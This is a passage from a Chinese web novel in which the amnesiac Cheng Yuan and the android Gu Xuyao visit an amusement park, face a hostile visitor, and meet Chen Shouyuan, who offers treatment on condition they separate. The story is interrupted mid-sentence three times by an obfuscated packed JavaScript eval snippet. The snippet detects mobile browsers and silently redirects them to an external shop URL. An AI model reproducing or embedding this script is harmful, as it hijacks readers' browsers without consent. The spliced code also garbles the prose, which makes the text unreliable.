“你似乎对自己的解释不是很确定。” 程鸢撇撇嘴。 “……我觉得应该就是这样的啊,如果很喜欢一个人的话,就是会想要一直和他在一起吧。你别转移话题,直接说有没有。” 过了好一会儿,顾栩尧才说:“我也不知道。” 程鸢有点震惊,眨眨眼,说:“居然不知道吗,我还以为你肯定没有呢。” 顾栩尧:“为什么?” “嗯……虽然你已经很像人类了,但我就是觉得你不会喜欢谁的。”程鸢皱眉想了想,说,“我想象不出来。” 仿生人的夜视能力比人类好。 在顾栩尧眼中,程鸢的眼睛微微眯起,头发软趴趴地倒向一边,手攥着被子的边缘,看上去在为此而感到困扰,也在因聊八卦而有些兴奋。 顾栩尧:“那你呢,你会有喜欢的人吗?” “会吧。” “你会喜欢一个什么样的人?” “嗯……”程鸢双手拉着被子的边缘向上拽,遮住了小半张脸,只露出想问题时有些迷茫的双眼和皱巴巴的眉头,“大概那个人出现的时候,我就知道了。” 良久,顾栩尧才轻声应道:“嗯。” 他没再说话了。 程鸢有些犯困,含含糊糊地说:“对了,原来我们来乐园是为了给我治病,你对我真的很好,如果你有需要我做的事,我一定会努力的。还有啊,总觉得那个陈小姐有点可怜,也不知道为什么不能出去,那个安逸呢,虽然很讨厌仿生人,但我觉得他不算坏人。还有……你、你别随随便便给别人看你的裸体,知道了没,这种行为很危险的,我在交易所学过,给别人看到裸体后,下一步就会发生很可怕的事,我不是在吓唬你,这件事你……” 程鸢的声音越来越小,在某处戛然而止后,很快就响起了均匀的呼吸声。 程鸢的脸彻底压在枕头上,挤出一点脸颊肉来。 顾栩尧盯着看了一会儿,又瞥了一眼程鸢宽松睡衣下露出的一小片胸脯的皮肤,不动声色地收回视线,伸手帮他掖好被子,轻手轻脚地躺回去。 ……程鸢居然在教自己,让自己有防备心吗? 顾栩尧眼中有了笑意。 算了,其实说明程鸢很聪明,以后应该也不会吃亏。 * 昨天晚上程鸢睡得特别好! 他还以为顾栩尧在自己身边躺着他会睡不着呢,没想到一晚上都没做噩梦,也没中途醒来,第二天早上觉得神清气爽。 ……肯定是那张超级无敌大床的功劳! 他想起了自己来乐园的初衷,兴致勃勃地提出在乐园里游玩。 顾栩尧怕节外生枝,一直没松口,程鸢就可怜巴巴地看着顾栩尧,抱着他的手臂晃,美其名曰“在乐园里玩说不定可以找到什么线索”。 顾栩尧看了一眼委屈巴巴的程鸢,觉得他如果有尾巴的话,现在一定无精打采地耷拉着。 ……自己好像不仅对程鸢的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307879|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼泪毫无抵抗力,也没办法拒绝他这样的眼神…… 他轻叹一声,点了点头。 程鸢的眼睛立刻亮了起来,“尾巴”欢快地甩着,动作麻利地换上顾栩尧指定的衣服,开开心心地捧着方舟乐园的地图出门了。 温伯给程鸢打来了视频电话,程鸢说要和顾栩尧随便转转。 温伯点点头,解释道,昨天送他们的戒指已经录入了信息,佩戴后他们在乐园里玩任何项目都不用排队,并且免除花销。 程鸢低头从兜里掏出那枚精致的心形戒指,套在手指上。 温伯还说,希望他们尽量避开人太多的地方,以免因顾栩尧仿生人的身份而遇到麻烦事。 程鸢想起昨天那些人对顾栩尧的指指点点,应下了,说会避开人群走,等人多了就回住的地方。 和温伯告别后,时间还很早,园内本身就没几个人。 程鸢展开地图边走边研究,嘀嘀咕咕地说:“我看看……嗯,我们的位置离旋转木马和鬼屋差不多近,你想先玩哪个?” 顾栩尧:“随你。” “那从比较温和的开始吧,左转去玩旋转木马。” 木马晃动的幅度比程鸢想象中要大,他有些狼狈地紧紧抓紧把手,回头看顾栩尧,想从他的脸上也看出窘迫,却只看到了一如既往的平静与从容。 程鸢暗自下定决心,今天一定要看到顾栩尧出丑。 仿生人核心强,所以不怕旋转木马也很正常。 但不代表他内心也很强大。 于是从旋转木马上下来后,就拉着顾栩尧向鬼屋的方向走,万一他怕鬼呢? 程鸢喜滋滋地幻想着顾栩尧尖叫着钻到自己怀里的样子。 到时候自己一定要像个英雄一样安慰他,然后等出鬼屋了再狠狠嘲笑他。 ……忽然,不远处传来的一个声音让他的脚步滞在了原地。 “我懒得听你说这么多,赶紧叫这个乐园里能说上话的人出来!” 喊话的人是一个三十多岁的男人,穿着很老式的衬衫,显得身躯格外干枯单薄。 他愤怒地与面前的一个服务型机器人和一个努力平息事端的年轻女孩对峙,憔悴的神情令他的面容更加吓人了。 周围陆续有人停下了脚步,程鸢也是其中之一,他有些呆地看向事件中心,也不急着去鬼屋了,拉着顾栩尧站在了原地。 那个看上去像乐园工作人员的女孩尽力安抚着男人的情绪,轻声细语道:“先生,服务型机器人展现攻击性的概率是很小的,会不会是有什么误会……” 男人大声嚷道:“你是说我错了吗?” 女孩:“不是的,这样可以吗,我们给您提供一定的补偿……” “我要见这个乐园的老板。” “您先和我去休息室,我试着帮您联系。” “现在直接带我去。” 他要见乐园里有话语权的人。 是陈初璃和安逸吧…… 程鸢这么想着,却发现那个男人抓住了女孩的胳膊,不顾她的反抗,硬拽着她向前走。 女孩有些狼狈,被拖得身子都倾斜了,在努力地抽回自己的手。 人们围了一圈,看着事件中心窃窃私语,但没有一个人上前。 女孩在奋力反抗,慌乱中踩到了那个男人的脚,惹恼了他,他扬起了手—— “程鸢!!!” 顾栩尧没能拦下程鸢,他已经冲了过去。 虽然那个男人枯瘦憔悴,但程鸢比他矮很多,力气也小,不能直接制止他的动作,只能用力将他的胳膊撕下来,让二人隔开一些距离,将女孩护在身后。 “你没看到她不想和你走吗?!” 程鸢气冲冲地瞪着那个男人。 “和你有什么关系?滚开。” 男人似乎不愿和程鸢过多纠缠,他想绕过程鸢,但程鸢死死挡着,不让他靠近女孩。 他凶恶地看着程鸢,说:“怎么又来了一个听不懂人话的。” 程鸢紧张到心跳声清晰可闻,但他依旧站在原地,半步都没有挪动。 男人冷哼一声,直接扬起握成拳头的手。 下一秒,他的手臂滞在了半空中。 顾栩尧挡在程鸢前面,攥住了男人的手腕。 男人像是承受了极大的痛苦。 方才嚣张的气焰,现在消失得无影无踪,他哀嚎着,顺着顾栩尧的力道扭曲着身体,试图缓解疼痛,看上去十分狼狈。 而顾栩尧则格外平静,只是俯视着扭曲的男人,脸上没有任何表情。 程鸢愣住了,当听到那个男人的身体咔咔作响时,他回过了神。 他的手搭在了顾栩尧手臂上,小声喊道:“顾栩尧。” 顾栩尧像是没听到程鸢的话,依旧面无表情地收紧手掌。 “顾栩尧!够了!” 程鸢有些急,他摇晃顾栩尧的手臂,想唤醒他。 21. 方舟乐园(九) “放开他吧,这样下去会出事的!” 男人的身体越来越扭曲,哀嚎声也越来越也越来越撕心裂肺,而顾栩尧视线始终平直地盯着男人,对程鸢的呼喊充耳不闻。 程鸢想把顾栩尧的手拽开,但根本不能撼动分毫。 程鸢忽然想起了自己给顾栩尧植入的那条指令。 温伯说过,无论何时都无法违抗…… 虽然不知道有没有什么副作用,但现在只有这一个办法了。 他用极轻的声音说:“顾栩尧,把你的手给我!” 顾栩尧的眉眼一瞬间放松了。 他的眼神变得茫然。 他真的松开了男人,有些缓慢地、僵硬地把手搭在了程鸢向上的手心上。 仿生人特有的温凉的体温从手心传来,程鸢看到恢复神志的顾栩尧,安心了许多。 他皱着眉,满脸担忧,声音极低地、像在撒娇一样说道:“对不起,我实在没有别的办法了……你有没有哪里不舒服。” 顾栩尧已经回过了神,缓缓摇头。 “你!……”那个男人惊魂未定,按着自己的臂膀,眼中满是惊恐,“你不可能是人类,你、你是仿生人!” 驻足在周围的人群掀起一阵哗然。 程鸢:“你先冷静一下……” “没什么可说的!我刚才都看见了,你对他下指令!” 男人面目狰狞地指着程鸢,“你和仿生人狼狈为奸,是你指使他来伤害我的!大伙儿都看见了吧,一个仿生人,对我动手,方舟乐园声称一切以人类优先,结果居然出现了这样的事!我今天一定要个说法!” 周围响起窸窸窣窣的议论声,一些人类对着程鸢和顾栩尧指指点点,脸上露出嫌恶的表情。 程鸢很熟悉,这是在交易所时,那些仿生人看到自己背上的伤疤会露出的表情。 ……那些不美好的记忆又涌上来了。 程鸢觉得自己不太舒服,心跳声一阵大过一阵,带动着耳膜都在震动。 顾栩尧紧皱眉头,将程鸢护在身后,目光沉沉地看着那个男人。 程鸢微微侧身,手搭在顾栩尧的手臂上,说:“我们走吧,别跟他纠缠……你伤了他的话,自己也会惹上麻烦的……” “还想跑?!”那个男人的情绪变得激动,大声喊道,“仿生人就可以为所欲为吗?明明是被人类创造出来的,却变成了会咬人的狗,给我提鞋都不配!你们真以为能跑得掉吗?” 他大声嚷嚷道:“我要见这个乐园的老板讨个说法!” 程鸢:“直接把他扔到安逸那,让他处理。” 顾栩尧转向男人。 那个男人看上去有些慌张,但依旧大声嚷道,“装什么?我还没让你们两个给我磕头呢!你们真有动手的胆子吗?我们有这么多人!……” 他环顾四周,似乎想得到支持,但那些人都离得很远,只是看着这边,完全没有上前的意思,看向顾栩尧的眼神虽有厌恶,与畏惧。 男人似乎意识到了自己孤立无援,他哼哧哼哧地喘着气,胸膛剧烈地起伏,然后大喊一声“我跟你们拼了!!”然后冲了上来。 他的举动完全无法预计,尽管顾栩尧迅速反应过来,反手钳制住了他,但他还是捞到了程鸢的手臂,死死拽着不放手。 程鸢被拽地跪倒在地上,手心被擦伤在流血,膝盖也阵阵刺痛。 久违的眩晕感笼罩了他的意识。 耳边嗡鸣不止,眼缘发黑,意识像是渐渐被黑水笼罩,毫无知觉地栽倒在地上,合上了双眼。 彻底失去意识前,他听到了顾栩尧大声喊着自己的名字。 …… “小鸢。” 又有人在喊自己了。 但声音很模糊,像是从很远的地方传来的。 他努力地想睁开眼睛,却什么都看不见。 只能听到那个声音说:“别害怕,我们不会分开,我一定会来找你……” …… “他怎么样?” 程鸢从梦境中抽离了。 他听到顾栩尧急切不安的声音。 “初步来看没有什么大问题,大概是之前有过长时间的精神紧绷、营养不良等状况,导致身体虚弱,需要慢慢调养。” 回话的是一个中年男性,声音厚重沉稳,听上去十分可靠。 程鸢有些费力地睁开双眼,看到了守在床边的顾栩尧。 顾栩尧发现程鸢醒来,眼中闪过欣喜,“有没有不舒服地方?” “没有……”程鸢慢吞吞地摇了摇头,问,“我晕了多久?” “没多久,四十六分钟左右。” 程鸢垂下了眼睛,睫毛轻颤,在眼下投出一小片阴影,他轻声说:“我好像又添麻烦了……” “是我的责任,你……” 顾栩尧目光沉沉地看着程鸢,想说些什么,这时安逸风风火火地闯进了这个房间,打断了他。 他边走进来,边嚷道:“操,那个男的真难缠……程鸢怎么样了?” 当他看到房间里的那个中年男子后,缓缓停下了脚步,有些不可置信地喃喃道:“陈叔……?你怎么在这里?” 陈叔? 顾栩尧立刻将视线定在那个刚刚帮程鸢检查身体的中年男性身上。 陈初璃的养父,陈守渊。 正是他们要找的人。 陈守渊对安逸点了点头,说:“看到他晕倒了,我帮忙看看。” 他的视线又远远落在程鸢的脸上,目光格外深沉,像在透过程鸢看别人。 程鸢刚醒来,还不太清醒,他没听清安逸喊的那句陈叔,也没注意到陈守渊的视线。 他顺着顾栩尧扶他的动作慢慢坐起来,问安逸:“你是来看我的吗?” 安逸看到陈守渊有些局促,听到程鸢的这句话又变得别扭起来,说:“是阿璃让我来的……而且我是处理那个闹事的人,顺便来看看。” 程鸢:“事情解决了吗?” 安逸点头:“那个男人的弟弟是因为仿生人死的,他听说方舟乐园里有可以控制仿生人的项圈,想借闹事的由头要一个,然后去给弟弟报仇。” 他顿了顿,看了一眼顾栩尧说,“后面大概是知道了顾栩尧是仿生人,情绪失控了。我给他赔了点钱,把他赶出去了。” 程鸢:“为什么给赔偿,是他先欺负人的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307880|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 说到这里,安逸翻了个白眼,没好气地说:“还不是因为你那个仿生人卸了人家好几处关节,否则我用得着破财吗?!” 程鸢有些惊讶,慢吞吞地眨了眨眼,看向顾栩尧。 顾栩尧一副局外人的样子,注意到程鸢的视线,才面无表情地说:“你给出的赔偿可以由我来承担。” 安逸咬牙切齿地说了一句“你最好是”,这事就算翻篇了。 程鸢又问:“那你给他项圈了吗?” 安逸:“没有。虽然我也讨厌仿生人,但他欺负乐园的员工在先,还对你动手,我如果真的给他项圈,不知道他会拿去做什么,而且阿璃也会生气。” 提到陈初璃,安逸像是终于想起了她的养父,陈守渊,就在旁边。 他有些心虚地看了陈守渊一眼,不说话了。 “唉,那孩子对仿生人还是……”陈守渊轻叹一声,“她已经见过这两个人了吧。” 安逸刚要点头,反应过来后立刻否认道:“呃,不、不是,是我硬要带他们进去的……” 陈守渊摇摇头,“不用瞒我,我明白她的心性。这也是我让她留在乐园里的原因……” 安逸纠结了一会儿,还是没说话。 这时顾栩尧很突兀地对陈守渊说:“你能不能帮程鸢检查一下身体。” 程鸢震惊,无力地闭了闭眼。 这个笨蛋机器人完全不懂审时度势啊…… 陈守渊沉默片刻,摇了摇头,拒绝了。 顾栩尧看上去有些不解,“为什么,程鸢是人类,而且你都已经帮他检查过了,为什么不能进一步治疗?” 陈守渊的视线重新落回到程鸢的脸上,他眼中流露出复杂的情绪,似乎有疑惑、留恋与不甘。 他没有回答顾栩尧的问题,而是看向了程鸢。 “我问你,你到底是谁?” 程鸢有些被吓到,说:“我、我失忆了,所以我也不知道……” 陈守渊:“那你之前在哪里?” 程鸢边回忆边说:“……我是从下城区的管道里醒来的,之后……被送到了交易所,然后被顾先生带回了家。” “下城区……恐怕就是……”陈守渊又问:“你还记不记得你父亲是谁?” 程鸢茫然地看着有些偏执的陈守渊,摇了摇头。 陈守渊有一瞬的失落。 他没有继续说下去,转移了话题道,“你说的顾先生,是这个仿生人吗?” 程鸢点点头。 陈守渊轻叹一声,垂着眼睛说:“为什么总是和仿生人扯上关系……?如果你真的是……” 程鸢疑惑地看着陈守渊。 他说了很多奇怪的话,似乎对自己的身份有所猜测,但不能确定? 陈守渊转向了顾栩尧,语气变得冰冷,问:“你呢,你知不知道他是什么人?” 顾栩尧否认。 陈守渊冷哼一声:“不知道?我不信一个仿生人,会无缘无故从交易所带走一个人类,还东奔西走地给他治病。” “我确实不知道程鸢的身份,但我带他离开交易所确实是有原因的。程鸢对我们来说,或许很重要。” 22. 方舟乐园(十) 键,但现在还不能确定。” “程鸢真的有这么重要的话,只派你一个人守着他吗?” “这是科学院院长的安排。” 程鸢有些呆。 这是他第一次听顾栩尧说起这些,有关将自己带出交易所的目的,有关他照顾自己、保护自己的原因。 “我可以帮程鸢,但我有一个条件。”陈守渊听完顾栩尧的话,思考了很久,才说,“你要离开程鸢。” 程鸢猛地抬头,下意识地说:“不……” “不行。”顾栩尧先开口,神情严肃坚决,“这个条件我绝不答应。” 陈守渊:“我不勉强。” 顾栩尧皱眉:“我陪在程鸢身边和你给他治病并不冲突。” 陈守渊:“你作为一个仿生人,并不能很好地照顾他,而且以后为了达到某些目的或许会牺牲程鸢。让他远离你们,才是最好的选择。况且……” 陈守渊顿了顿,“我也需要弄清楚一些事情。程鸢就留在乐园里,他的身体我会负责到底。” 顾栩尧的态度依旧坚决:“就算是为了仿生人,我也不会把程鸢交给你。” 陈守渊:“你无非是为了衰减症。这样吧,我会帮你们查明他和衰减症的关系,有任何结论都可以告诉你们。” 顾栩尧:“这种事情我们也可以……” “我会在不伤害程鸢身体的前提下进行研究。”陈守渊严肃地打断了顾栩尧,“但我信不过仿生人。” 顾栩尧:“我不会伤害他,我做过承诺。” “就算你不伤害他,你能保证别的仿生人也不伤害他吗?” 陈守渊的神情变得严厉,“总之,要想让我帮他治疗,就要答应我的条件。我不会让步。” 顾栩尧依旧冷着脸,显然没有被说服。 程鸢看着互不相让的两个人,声音小小地插了一句:“那个,不应该问问我的意见吗……?” 他们齐刷刷地转过头看程鸢。 程鸢和顾栩尧对上视线。 与顾栩尧共同生活了这么久,他好像已经习惯了微微仰头看顾栩尧,也越来越擅长解读顾栩尧隐藏的情绪。 顾栩尧现在很紧绷,他微微抿着唇,眼中有似有若无的不安。 程鸢知道,他不想交出自己。 但到底是完全为了仿生人,还是对自己也有不舍…… 程鸢:“所以你把我带出交易所,是洛伊院长的要求吗?” “……是。” 程鸢知道,这个机器人最大的优点就是不会说谎。 “那么,你不答应陈守渊的条件,是因为不想失去解决衰减症的关键,还是因为别的什么?” 其实程鸢自己也不知道想要什么样的答案。 顾栩尧沉默了。 刚刚和陈守渊争执时的凌厉淡下去几分,慢慢地被一种困惑的神情所代替。 他张了张嘴,却说不出是,而是用他一贯没什么感情的声音说:“我也不知道。” 程鸢歪头,轻声问:“为什么不知道?” 顾栩尧的视线久久落在程鸢身上,但没有说话。 程鸢能感受到,似乎顾栩尧并不清楚答案,他不明白,一个答案为是或否的问题,顾栩尧为什么这么纠结。 其实他也不明白……自己为什么要问顾栩尧这个问题。 二人沉默的间隙,陈守渊开口:“程鸢,留在乐园吧,这里都是人类,你可以活得更自在些。” 程鸢咬着嘴唇,低垂着头。 而在一旁的顾栩尧,紧紧盯着程鸢,缓缓握起了拳。 程鸢抬起头看顾栩尧,问:“你觉得呢?” “我……” 不知为何,他的声音听上去有些沙哑。 但他还没来得及继续说,就被陈守渊打断了,他冷声道:“想清楚你是为什么来找我的。我有信心治好程鸢,也会尽力找到他和衰减症之间的联系。让程鸢留在这里,对你,对程鸢,对仿生人,都是最好的选择。” 顾栩尧怔住了,缓缓垂下了眼睛,不再看程鸢。 他沉默了。 既没有挽留程鸢,也没有反驳陈守渊。 和顾栩尧已经朝夕相处了这么久,程鸢已经能看懂他每一个几乎毫无变化的表情的含义,也能猜到他每一次沉默背后的原因。 他知道,这个笨蛋机器人又准备扔下自己了。 程鸢身上的热度像潮水一般退去,他眼神变得空茫,没有焦点地落在顾栩尧脸上。 或许陈守渊说的没错,这对自己来说是更好的选择。 但是…… 他提高了音量喊:“不行!” 陈守渊和顾栩尧的视线落在程鸢身上。 陈守渊:“程鸢,别再固执了,留在乐园吧。” 顾栩尧则目光沉沉地落在程鸢身上,眼中有看不清的情绪。 程鸢后脑勺有一簇头发在刚刚躺下的时候被压得翘起,栗色的头发蓬松而微微凌乱,又乖又漂亮。 他看上去确实是该娇养在温室的花朵,而方舟乐园,无疑是更适合他生长的温床。 顾栩尧的眼眸暗了暗。 程鸢则心中烦乱,说:“事情发生得太突然了,我要自己决定!而且我、我需要考虑一下……” 陈守渊似乎对程鸢没有第一时间选择留在乐园里感到惊讶,“我认为这没什么好考虑的。” “总之我还没有做好决定。”程鸢的声音柔而坚定,“这对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307881|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我来说是很重要的事,我希望自己能够想清楚。” 陈守渊见劝不动程鸢,轻叹一声说:“……也好,那么,你们可以继续在乐园里游玩,正好你可以熟悉一下乐园的环境。我等你的答复。” * 安逸和陈守渊都离开了,这个房间里只剩下程鸢和顾栩尧两个人。 顾栩尧一直垂着眼睛,没有说话,也没有看程鸢。 程鸢和顾栩尧一起生活了很久,所以他清楚,顾栩尧现在情绪很低落,但他不明白为什么顾栩尧如此沮丧。 明明是顾栩尧又一次违背诺言。 “……你又要扔下我吗?” 顾栩尧迅速抬起眼睛看程鸢,看清程鸢的脸,也看到了他脸上的委屈与沮丧。 “我……” 他的眼神微微闪烁,“……陈守渊说的对,我们是为了给你治病才来的,而且这里有很多人类,或许你真的更适合在这里生活……” “你讨厌我吗?” “……没有。” “可我讨厌你。”程鸢皱眉瞪顾栩尧,杏眼的上边被瞪得平直,向上目视的小猫。 “……” “你做饭不好吃,有时候对我很凶,有时候听不懂我在说什么,还说我笨,还想给我绝育……” 说到最后,程鸢已经想不出顾栩尧的缺点了,他泄愤般编了很多,然后沉默了。 顾栩尧没有接话。 原本程鸢以为他会对自己胡编乱造的缺点进行点评,但他今天格外沉默。 沉默到像是已经放开了程鸢。 程鸢莫名感到不安。 他尽量控制好嗓子,让声音听上去正常些,“你真的想让我留在乐园吗?” “……” 顾栩尧没有看程鸢。 很久后,他才说:“我不能确定其他仿生人为了衰减症会对你做什么……而且你也说过,仿生人不能很好地理解人类,我也总是不知道你在想什么,所以不能很好地照顾你。这里对你来说或许真的是更好的选择,你可以和人类生活在一起,过正常的生活,更加健康、快乐……” 顾栩尧说了很多,不知道是在说服程鸢,还是在说服自己。 最后,他垂下了头,低声说:“……我会独自离开。” 顾栩尧的话达成了最终的审判,无情地划开了一个口子,将血淋淋的现实展现在他面前。 程鸢的心像是被扔进了黑洞里,坠入一片荒芜。 他的鼻子开始泛酸,有水雾从心底蒸腾出来,蒙上眼睛。 “不行……” 顾栩尧没有说话。 程鸢向顾栩尧伸出了双臂。 顾栩尧怔了片刻,慢慢靠近程鸢,将他揽进怀里。